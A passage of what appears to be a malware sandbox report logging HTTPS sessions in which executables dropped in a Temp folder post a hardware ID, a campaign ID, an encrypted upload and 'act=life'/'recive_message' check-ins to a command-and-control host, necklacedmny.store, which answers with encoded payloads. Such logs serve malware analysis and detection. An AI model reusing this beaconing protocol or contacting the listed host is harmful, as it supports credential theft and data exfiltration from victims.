Ascii: u4v1KJfU8Pcnifn/IVXvyAkc6uWbFdU79LScTE2OJQOPyukUlv2d6iKAxe98WILMrQji4L9I+W7YkLUFNLIhO6PG5SiSyYnTa53Ryx1Jz/A5RK7V9y3RK9S4sDxZowA2g/KUNcfVWcMb1fnvWXDjsRkxosmONKALyLTMKFGeLTef0uEcpumB+xuVwf89bdf0CXCGyY8l3ArhjJhlVNMBowdaRSjP1ezPRrnZwhw44/wFZIr5ox35L+CgzExZog0
2024-10-31 22:38:33 UTC	1369	IN	Data Raw: 52 43 2b 32 59 44 32 47 72 6e 5a 6b 68 77 34 34 33 67 52 53 41 62 4a 30 6a 57 38 4d 37 32 4d 6d 44 56 55 30 77 45 4c 72 38 62 4a 41 4b 72 4e 6e 64 73 33 6b 63 48 76 50 57 32 72 77 42 31 6f 73 74 57 44 4c 64 6b 50 35 4a 53 59 49 46 47 53 48 41 36 36 37 75 6c 56 70 37 53 52 54 7a 2b 31 31 50 4e 67 59 59 62 4d 50 57 57 6a 74 4c 38 31 36 53 50 77 74 49 51 59 48 61 6f 6c 44 34 2b 6d 2b 53 79 47 7a 61 48 48 46 35 6e 68 38 77 6c 31 31 2b 41 56 54 4b 4c 35 75 6a 54 34 43 38 54 74 68 57 56 56 64 6a 55 33 6b 39 62 35 64 4c 76 56 37 4d 39 47 75 64 6e 43 48 44 6a 6a 38 41 55 63 76 73 47 66 45 63 45 7a 2f 4b 69 59 46 46 6d 32 45 54 2b 2f 79 76 6b 55 6f 76 57 74 2b 79 4f 56 35 64 73 5a 59 66 62 4e 47 46 53 2b 74 4c 35 55 77 62 66 55 6d 4b 67 42 58 53 34 5a 45 37 4c 75 Data Ascii: RC+2YD2GrnZkhw443gRSAbJ0jW8M72MmDVU0wELr8bJAKrNnds3kcHvPW2rwB1ostWDLdkP5JSYIFGSHA667ulVp7SRTz+11PNgYYbMPWWjtL816SPwtIQYHaolD4+m+SyGzaHHF5nh8wl11+AVTKL5ujT4C8TthWVVdjU3k9b5dLvV7M9GudnCHDjj8AUcvsGfEcEz/KiYFFm2ET+/yvkUovWt+yOV5dsZYfbNGFS+tL5UwbfUmKgBXS4ZE7Lu
2024-10-31 22:38:33 UTC	1369	IN	Data Raw: 53 52 49 79 2b 42 2f 65 39 46 48 4e 64 51 53 57 43 36 69 66 6f 30 2b 41 76 42 6a 65 56 46 62 4c 49 52 53 6f 4b 50 74 48 33 4c 67 4e 79 71 59 76 47 34 79 33 68 5a 75 73 31 41 48 5a 76 56 39 6a 53 67 43 73 53 41 7a 45 78 4e 76 6c 6b 43 6e 78 59 4e 6a 4c 72 4e 68 65 74 69 73 58 33 66 54 55 54 69 39 53 46 70 6f 37 56 61 4e 4f 41 4c 4a 62 57 45 5a 56 54 54 41 64 75 50 31 73 30 6f 2f 70 43 6c 54 7a 2b 68 30 65 39 63 55 56 76 67 63 55 6d 6a 37 4c 38 73 77 47 71 5a 74 59 51 55 45 4c 4e 67 54 73 71 44 6f 48 6e 37 6c 4e 6d 4b 47 39 7a 46 71 68 77 34 71 76 55 68 48 61 4f 30 76 69 6e 4e 51 35 43 55 69 46 78 59 72 76 6e 33 6a 37 62 42 43 49 72 52 61 51 2b 62 6a 63 48 2f 4a 46 45 6e 6c 42 55 55 72 73 47 6a 7a 54 6b 7a 78 4e 79 59 50 45 32 7a 41 44 61 44 30 2f 52 55 51 Data Ascii: SRIy+B/e9FHNdQSWC6ifo0+AvBjeVFbLIRSoKPtH3LgNyqYvG4y3hZus1AHZvV9jSgCsSAzExNvlkCnxYNjLrNhetisX3fTUTi9SFpo7VaNOALJbWEZVTTAduP1s0o/pClTz+h0e9cUVvgcUmj7L8swGqZtYQUELNgTsqDoHn7lNmKG9zFqhw4qvUhHaO0vinNQ5CUiFxYrvn3j7bBCIrRaQ+bjcH/JFEnlBUUrsGjzTkzxNyYPE2zADaD0/RUQ
2024-10-31 22:38:33 UTC	1369	IN	Data Raw: 6d 75 4b 53 79 56 44 53 32 67 58 77 56 36 71 69 48 55 4d 46 53 32 65 33 4e 50 56 58 37 41 47 36 43 38 76 6c 38 37 73 32 64 72 79 36 6c 50 51 75 42 59 66 2f 49 65 52 53 57 35 54 73 35 68 53 4d 67 64 4e 41 49 62 59 6f 64 56 38 62 76 7a 44 53 62 31 50 45 53 49 70 6a 46 44 69 52 5a 67 73 31 41 56 48 62 5a 68 77 33 64 55 35 32 34 47 44 78 4a 74 6c 6c 50 74 39 35 78 4f 4f 4c 38 6b 4d 34 6a 6f 4d 53 53 56 47 44 6a 33 47 52 56 77 35 54 32 57 4a 52 47 68 63 33 4d 65 57 33 58 41 56 61 43 6a 37 77 4e 70 70 79 51 6c 69 4b 6c 79 62 74 56 51 65 2b 55 4c 45 68 61 4c 53 74 70 7a 55 76 41 67 48 7a 38 2b 59 49 5a 45 2b 76 79 37 61 77 6e 31 4b 6a 33 48 72 69 6c 46 68 78 34 34 7a 45 59 56 4d 50 55 33 6a 55 56 42 2b 43 30 6d 46 77 51 68 70 56 54 6a 36 37 74 4f 61 66 73 6b 65 Data Ascii: muKSyVDS2gXwV6qiHUMFS2e3NPVX7AG6C8vl87s2dry6lPQuBYf/IeRSW5Ts5hSMgdNAIbYodV8bvzDSb1PESIpjFDiRZgs1AVHbZhw3dU524GDxJtllPt95xOOL8kM4joMSSVGDj3GRVw5T2WJRGhc3MeW3XAVaCj7wNppyQliKlybtVQe+ULEhaLStpzUvAgHz8+YIZE+vy7awn1Kj3HrilFhx44zEYVMPU3jUVB+C0mFwQhpVTj67tOafske

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49977	188.114.97.3	443	3264	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:36 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 22:38:36 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:36 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 22:38:37 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6559hpd1jumjthmhur51n3q6hd; expires=Mon, 24-Feb-2025 16:25:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BicuHdRoctvXm0Ngu1ke2EF1MIo%2Ff%2FwE0%2FWFRhKQ1KYbw2oul8EGTTu%2FFZLfEuRsd0dVAIFPv11gAUdldWxAGObGwnLDoinW2S94Nnyxl3nBRERItcr8QT8Q6usbeJ0tmsD1%2Fhg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db722e61c67ddaf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1420&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19132&delivery_rate=1970068&cwnd=32&unsent_bytes=0&cid=fc24db185f3b73c7&ts=625&x=0"
2024-10-31 22:38:37 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49978	188.114.97.3	443	6424	C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:36 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 22:38:36 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 22:38:37 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sd8fkcvra0avs0rcmmn0do6lt7; expires=Mon, 24-Feb-2025 16:25:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nKiY6c2899z9aaccw4iAyyYiRN0b5B8i4TbIT2poBxmjNmYft%2B%2FQ1D9S5VHRGl8IwWh13uuNIJ0QDOW0s2c4L3Uq0ktoayL2yMbgT0xJSayls3xYRCTJk5qWol%2FJ%2Fns7DFnZjqs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db722e6ed46a916-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1856&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1439363&cwnd=141&unsent_bytes=0&cid=0e038ddf04d5e428&ts=758&x=0"
2024-10-31 22:38:37 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 22:38:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49992	188.114.97.3	443	6424	C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:38 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 22:38:38 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 22:38:39 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n44n6vf5o08bf5te5ridd9embe; expires=Mon, 24-Feb-2025 16:25:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LalUPruvJBa87rV7LwIlYIzhF7QxjxrquDHu1g1ysPWrkzZtD%2BXhIP86h79rXo%2Bu5Jao72%2BrX2x0nkbWZ1mtbJz0gxBVi8CMv9WbZY1%2Fp0X250guT7BymoeCwgfrbTMB5WXGUa0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db722f5b9d9e823-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1669&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1213238&cwnd=237&unsent_bytes=0&cid=6fadcfddc4305ac6&ts=469&x=0"
2024-10-31 22:38:39 UTC	354	IN	Data Raw: 32 35 38 65 0d 0a 6f 65 4e 76 46 6c 72 43 7a 50 58 63 31 62 62 50 64 56 78 65 52 39 65 6b 61 50 32 4a 61 4d 78 42 58 73 30 47 58 58 46 6e 7a 53 72 61 77 52 6b 30 59 50 62 67 31 36 2b 77 6c 50 55 42 4c 69 73 69 2b 34 59 4a 6d 61 74 53 71 69 41 79 76 6d 4e 78 55 78 47 67 43 4a 75 46 44 6e 6f 70 70 2b 44 58 75 61 32 55 39 53 34 6e 66 43 4b 35 68 6c 4c 66 37 41 4b 75 49 44 4b 76 5a 7a 59 65 46 36 46 4a 79 59 38 49 66 6a 2b 68 71 4a 53 77 75 4e 4f 71 45 44 30 30 4b 62 37 4a 41 4a 43 72 52 4f 34 6b 4a 4f 38 38 66 7a 77 43 75 55 76 73 67 68 78 39 65 4c 2f 67 6a 76 36 77 32 4f 31 50 66 6a 38 69 74 63 67 4f 6d 65 49 41 70 43 6b 36 72 6d 49 33 41 51 36 72 51 73 6d 42 43 33 38 31 71 4c 79 5a 75 72 2f 59 72 42 6f 39 66 47 76 31 77 52 4c 66 73 30 72 39 45 54 2b 2b 64 Data Ascii: 258eoeNvFlrCzPXc1bbPdVxeR9ekaP2JaMxBXs0GXXFnzSrawRk0YPbg16+wlPUBLisi+4YJmatSqiAyvmNxUxGgCJuFDnopp+DXua2U9S4nfCK5hlLf7AKuIDKvZzYeF6FJyY8Ifj+hqJSwuNOqED00Kb7JAJCrRO4kJO88fzwCuUvsghx9eL/gjv6w2O1Pfj8itcgOmeIApCk6rmI3AQ6rQsmBC381qLyZur/YrBo9fGv1wRLfs0r9ET++d
2024-10-31 22:38:39 UTC	1369	IN	Data Raw: 72 61 36 46 74 72 7a 66 71 41 55 31 4e 53 69 34 78 67 65 56 35 41 6d 75 4a 44 61 6c 61 7a 55 58 43 4b 4a 4f 77 34 46 4e 4f 6e 69 6e 74 74 66 6d 39 2f 65 6f 42 7a 6b 77 4d 2f 66 38 53 6f 43 6c 45 2b 34 6b 4d 4f 38 38 66 78 73 41 72 45 76 49 6a 67 35 38 4d 37 4b 75 68 62 69 36 30 62 38 52 4f 7a 49 76 74 74 51 41 6b 65 30 4a 70 79 67 31 71 6d 4d 37 55 30 76 76 54 39 76 42 56 54 51 5a 72 61 57 62 74 4b 44 55 37 51 68 77 4a 57 57 79 79 6b 72 48 71 77 36 76 4a 7a 32 72 61 6a 45 58 43 61 6c 47 7a 6f 34 4c 66 6a 69 6e 70 4a 2b 32 74 74 6d 6d 47 44 34 35 4b 4c 48 41 42 70 37 75 53 75 42 6a 4f 37 63 6b 5a 31 4d 72 71 45 76 52 77 7a 68 33 4e 71 36 70 67 66 36 6f 6d 72 52 58 4f 54 42 6c 37 59 59 45 6d 75 51 59 72 7a 45 35 6f 58 59 7a 46 67 4f 69 53 38 32 42 43 48 4d Data Ascii: ra6FtrzfqAU1NSi4xgeV5AmuJDalazUXCKJOw4FNOninttfm9/eoBzkwM/f8SoClE+4kMO88fxsArEvIjg58M7Kuhbi60b8ROzIvttQAke0Jpyg1qmM7U0vvT9vBVTQZraWbtKDU7QhwJWWyykrHqw6vJz2rajEXCalGzo4LfjinpJ+2ttmmGD45KLHABp7uSuBjO7ckZ1MrqEvRwzh3Nq6pgf6omrRXOTBl7YYEmuQYrzE5oXYzFgOiS82BCHM
2024-10-31 22:38:39 UTC	1369	IN	Data Raw: 66 36 6f 6d 72 52 58 4f 54 42 6c 37 59 59 47 6c 75 73 42 70 43 63 38 71 47 6b 36 45 41 4b 73 52 63 53 4c 41 33 4d 38 72 4b 65 61 75 4c 66 54 71 52 49 73 4f 53 79 35 79 6b 72 52 71 77 32 32 59 32 54 76 53 7a 67 46 42 6f 42 4c 30 6f 68 4e 61 33 61 35 37 70 43 79 39 34 7a 74 45 44 73 30 4c 72 50 4f 43 6f 33 75 42 4b 55 69 4e 71 6c 6c 4d 68 38 44 72 30 6e 44 68 77 46 30 50 36 65 38 68 62 75 78 78 71 64 58 63 48 77 69 72 59 5a 53 33 39 30 61 75 54 49 71 37 56 45 38 48 51 75 6f 58 6f 4f 65 51 32 31 34 70 36 4c 58 35 76 66 66 72 52 73 35 4e 43 4f 78 7a 67 57 51 34 68 69 76 4c 7a 4b 39 59 7a 38 61 43 36 42 45 79 6f 77 4b 65 54 4f 71 6f 35 4f 35 74 70 54 6a 56 7a 6b 6b 5a 65 32 47 50 49 2f 6d 42 6f 41 6f 4d 4b 59 6b 49 46 30 63 37 30 2f 50 77 56 55 30 50 4b 79 6d Data Ascii: f6omrRXOTBl7YYGlusBpCc8qGk6EAKsRcSLA3M8rKeauLfTqRIsOSy5ykrRqw22Y2TvSzgFBoBL0ohNa3a57pCy94ztEDs0LrPOCo3uBKUiNqllMh8Dr0nDhwF0P6e8hbuxxqdXcHwirYZS390auTIq7VE8HQuoXoOeQ214p6LX5vffrRs5NCOxzgWQ4hivLzK9Yz8aC6BEyowKeTOqo5O5tpTjVzkkZe2GPI/mBoAoMKYkIF0c70/PwVU0PKym
2024-10-31 22:38:39 UTC	1369	IN	Data Raw: 47 6f 45 7a 6b 34 49 37 71 47 52 4e 2f 73 45 75 35 37 66 49 42 44 43 6c 45 6b 6c 51 6a 63 7a 78 51 30 50 36 7a 75 7a 2f 36 37 31 36 45 66 4d 54 6f 73 75 63 77 44 6c 4f 63 42 71 69 38 31 71 6d 49 2b 46 67 43 75 54 4d 2b 4c 43 33 63 37 72 36 47 59 74 76 65 61 37 52 41 6d 66 48 33 31 34 78 32 55 35 51 7a 75 50 48 4b 32 4a 44 67 66 52 66 63 49 7a 34 67 4c 63 6a 32 73 72 35 47 32 73 74 79 70 46 6a 67 36 4a 72 72 43 44 35 37 6b 44 71 49 74 4e 71 35 6c 4d 78 67 4b 70 45 32 44 7a 30 31 7a 49 4f 44 32 31 34 2b 30 77 72 6f 48 4d 6e 77 36 2b 39 39 4b 6d 4f 64 4b 39 6d 4d 39 76 57 34 31 48 51 43 67 54 63 43 4f 43 6e 6b 2b 72 4b 53 65 74 72 48 62 70 41 55 39 4d 43 75 79 79 41 61 52 35 67 43 74 4c 6e 7a 68 4a 44 67 4c 52 66 63 49 37 34 59 41 57 6a 4f 73 71 64 65 68 2b Data Ascii: GoEzk4I7qGRN/sEu57fIBDClEklQjczxQ0P6zuz/6716EfMTosucwDlOcBqi81qmI+FgCuTM+LC3c7r6GYtvea7RAmfH314x2U5QzuPHK2JDgfRfcIz4gLcj2sr5G2stypFjg6JrrCD57kDqItNq5lMxgKpE2Dz01zIOD214+0wroHMnw6+99KmOdK9mM9vW41HQCgTcCOCnk+rKSetrHbpAU9MCuyyAaR5gCtLnzhJDgLRfcI74YAWjOsqdeh+
2024-10-31 22:38:39 UTC	1369	IN	Data Raw: 2b 4f 7a 33 31 6e 6b 71 70 37 42 71 2b 49 48 36 65 63 6a 77 46 44 71 4a 45 67 35 35 44 62 58 69 6e 6f 74 66 6d 39 39 4b 69 48 6a 30 7a 4a 4c 7a 4b 42 35 72 69 44 36 38 6c 4f 4b 56 75 50 78 55 44 72 6b 33 4a 67 67 78 2b 4d 61 65 6d 6b 4c 32 6c 6c 4f 4e 58 4f 53 52 6c 37 59 59 6a 6d 50 6b 45 76 6d 4d 6a 34 58 31 2f 46 41 6e 76 45 49 4f 46 42 33 73 38 70 36 4b 52 75 37 48 5a 72 42 67 2f 50 43 71 78 7a 51 4f 5a 36 67 65 72 4c 6a 69 39 62 6a 51 63 43 61 5a 45 7a 73 46 44 4e 44 2b 34 37 73 2f 2b 68 74 6d 6a 47 54 6b 71 5a 61 71 49 45 39 2f 73 42 75 35 37 66 4b 35 6f 4d 42 41 4b 72 45 76 43 69 78 39 6d 4e 4b 6d 6d 6b 72 4b 38 32 71 73 46 4f 44 4d 73 74 73 55 44 6d 4f 4d 47 70 43 41 37 37 79 70 2f 46 42 33 76 45 49 4f 69 47 6d 51 31 34 4c 48 5a 70 2f 66 54 6f 56 Data Ascii: +Oz31nkqp7Bq+IH6ecjwFDqJEg55DbXinotfm99KiHj0zJLzKB5riD68lOKVuPxUDrk3Jggx+MaemkL2llONXOSRl7YYjmPkEvmMj4X1/FAnvEIOFB3s8p6KRu7HZrBg/PCqxzQOZ6gerLji9bjQcCaZEzsFDND+47s/+htmjGTkqZaqIE9/sBu57fK5oMBAKrEvCix9mNKmmkrK82qsFODMstsUDmOMGpCA77yp/FB3vEIOiGmQ14LHZp/fToV
2024-10-31 22:38:39 UTC	1369	IN	Data Raw: 70 38 4d 4d 6b 4f 51 44 70 79 63 30 72 47 51 37 46 77 4b 71 53 38 2b 4b 43 6e 63 33 70 4b 65 5a 74 37 69 55 34 31 63 35 4a 47 58 74 68 69 75 45 36 41 61 6a 59 79 50 68 66 58 38 55 43 65 38 51 67 34 30 44 63 54 69 71 71 4a 4f 37 73 64 36 6f 46 7a 55 2f 4b 72 48 41 44 70 44 72 41 61 63 69 4f 71 70 75 4e 42 55 49 72 45 37 46 77 55 4d 30 50 37 6a 75 7a 2f 36 58 7a 36 41 62 4f 58 77 36 2b 39 39 4b 6d 4f 64 4b 39 6d 4d 33 6f 32 41 34 45 77 69 73 51 4d 61 46 42 33 45 34 71 4c 79 66 76 72 44 47 76 78 63 33 4f 53 6d 32 78 67 36 5a 34 67 79 74 4a 33 7a 68 4a 44 67 4c 52 66 63 49 37 6f 30 4b 58 54 2b 37 37 6f 6a 77 72 70 53 71 47 33 35 6b 5a 62 54 4e 41 4a 44 6d 43 61 67 67 4e 36 70 75 50 68 51 4e 6f 6c 72 41 6a 67 4a 77 4f 4b 2b 6f 6b 62 2b 34 30 71 6f 65 50 7a 51 Data Ascii: p8MMkOQDpyc0rGQ7FwKqS8+KCnc3pKeZt7iU41c5JGXthiuE6AajYyPhfX8UCe8Qg40DcTiqqJO7sd6oFzU/KrHADpDrAaciOqpuNBUIrE7FwUM0P7juz/6Xz6AbOXw6+99KmOdK9mM3o2A4EwisQMaFB3E4qLyfvrDGvxc3OSm2xg6Z4gytJ3zhJDgLRfcI7o0KXT+77ojwrpSqG35kZbTNAJDmCaggN6puPhQNolrAjgJwOK+okb+40qoePzQ
2024-10-31 22:38:39 UTC	1369	IN	Data Raw: 4b 48 4d 48 4b 51 6b 4c 4b 68 7a 4d 46 4e 4c 37 30 65 44 32 54 51 30 4d 61 65 31 68 71 69 36 78 4b 70 58 41 58 4a 6c 72 59 5a 53 33 39 34 4a 6f 43 30 37 75 58 56 79 4e 42 4f 6c 54 39 4f 47 47 6e 74 34 37 75 36 52 2f 75 2b 48 34 31 63 36 4c 57 58 74 6c 6c 6a 45 76 6c 6e 35 63 32 36 77 4b 69 5a 54 45 2b 38 51 6b 63 39 4e 5a 6e 6a 34 37 74 43 39 70 63 61 72 46 43 67 2f 59 6f 76 34 4c 59 58 6d 44 4c 6b 79 41 70 46 6a 4a 52 34 44 75 46 6d 50 6c 41 35 36 4e 71 65 34 31 2f 44 33 32 2b 31 50 42 33 78 74 39 66 6c 45 33 2f 4e 4b 39 6d 4d 4a 72 47 6f 78 46 42 4f 2b 42 65 53 62 41 48 49 76 73 65 37 5a 2f 72 47 55 39 55 64 77 66 43 47 6b 68 6c 4c 50 75 56 48 37 63 47 76 2f 4e 69 42 64 48 4f 39 65 67 39 6c 66 4f 6e 69 79 37 73 2f 2b 38 4e 65 2f 42 54 67 2f 4d 37 61 42 Data Ascii: KHMHKQkLKhzMFNL70eD2TQ0Mae1hqi6xKpXAXJlrYZS394JoC07uXVyNBOlT9OGGnt47u6R/u+H41c6LWXtlljEvln5c26wKiZTE+8Qkc9NZnj47tC9pcarFCg/Yov4LYXmDLkyApFjJR4DuFmPlA56Nqe41/D32+1PB3xt9flE3/NK9mMJrGoxFBO+BeSbAHIvse7Z/rGU9UdwfCGkhlLPuVH7cGv/NiBdHO9eg9lfOniy7s/+8Ne/BTg/M7aB
2024-10-31 22:38:39 UTC	1054	IN	Data Raw: 4c 75 46 6a 2b 68 61 6a 67 46 46 4f 4a 76 7a 59 59 4d 59 69 69 33 6f 64 66 77 39 39 4c 74 54 32 78 79 5a 62 48 58 53 73 65 37 57 50 56 32 62 2f 67 30 62 51 78 4c 74 67 6a 56 77 56 55 6d 64 75 43 38 31 2b 62 33 6b 36 34 46 4c 44 6f 6d 6f 38 56 4e 6f 64 55 74 6f 43 51 39 75 58 51 6f 48 45 71 42 66 75 4b 2f 4d 32 45 37 72 71 43 51 71 4b 61 55 34 31 63 78 66 48 32 4d 68 6b 4c 66 31 45 54 75 4f 33 7a 33 4a 41 6f 51 43 36 46 50 31 5a 42 41 55 7a 61 6e 72 34 47 75 6f 4e 76 69 4f 51 67 64 5a 66 75 47 44 4e 2b 7a 57 4f 42 6a 4f 4c 34 6b 5a 30 4e 58 39 42 32 51 31 6c 30 6d 4a 2b 36 33 31 36 6a 33 6a 50 39 5a 66 69 35 6c 37 59 5a 4e 6e 50 6b 59 71 43 41 71 72 43 4d 42 4c 53 4b 68 54 38 4b 58 48 58 6b 30 67 61 32 47 74 49 6e 71 75 42 51 77 4d 69 4b 6a 31 30 72 52 71 Data Ascii: LuFj+hajgFFOJvzYYMYii3odfw99LtT2xyZbHXSse7WPV2b/g0bQxLtgjVwVUmduC81+b3k64FLDomo8VNodUtoCQ9uXQoHEqBfuK/M2E7rqCQqKaU41cxfH2MhkLf1ETuO3z3JAoQC6FP1ZBAUzanr4GuoNviOQgdZfuGDN+zWOBjOL4kZ0NX9B2Q1l0mJ+6316j3jP9Zfi5l7YZNnPkYqCAqrCMBLSKhT8KXHXk0ga2GtInquBQwMiKj10rRq
